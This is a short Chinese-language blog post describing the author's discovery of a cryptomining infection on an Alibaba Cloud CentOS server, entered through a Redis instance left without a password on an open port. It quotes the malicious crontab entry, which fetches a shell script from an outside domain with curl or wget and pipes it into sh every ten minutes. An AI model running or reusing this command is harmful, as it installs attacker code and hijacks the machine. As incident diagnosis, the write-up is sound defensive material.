阿里云服务器遭受挖矿程序的入侵的清理之战

1. 背景

最近在阿里云服务器上安装了缓存redis，由于没有设置密码，并且开放了6379端口，遭受了挖矿程序攻击。操作系统为centos7。

2. 排查

（1）使用top命令，cpu使用率很少，几乎为0，该图只是演示，不是当时情况，当时情况：cpu使用率为0，空闲100%，明显很有问题

这个时候，说明挖矿程序改变你的服务器，看到的并不真实，这个时候需要一个命令：vmstat

你会发现us为99 id几乎为0

（2）查看Linux的定时任务cron,使用命令crontab -l 命令查看所有的定时任务，如果没有设置定时执行脚本的计划，发现多了一个任务计划：

*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh

看到这任务计划，明显不是自己设置的
再使用crontab -e编辑，也发现了这个执行计划，这时候你试图删除它，我没那么幸运，我删除不掉它。删除还是会出现。想想都很可恶。而这个可恶的程序地址就是看到的 lsd.systemten.org，用浏览器打开它就是shell脚本。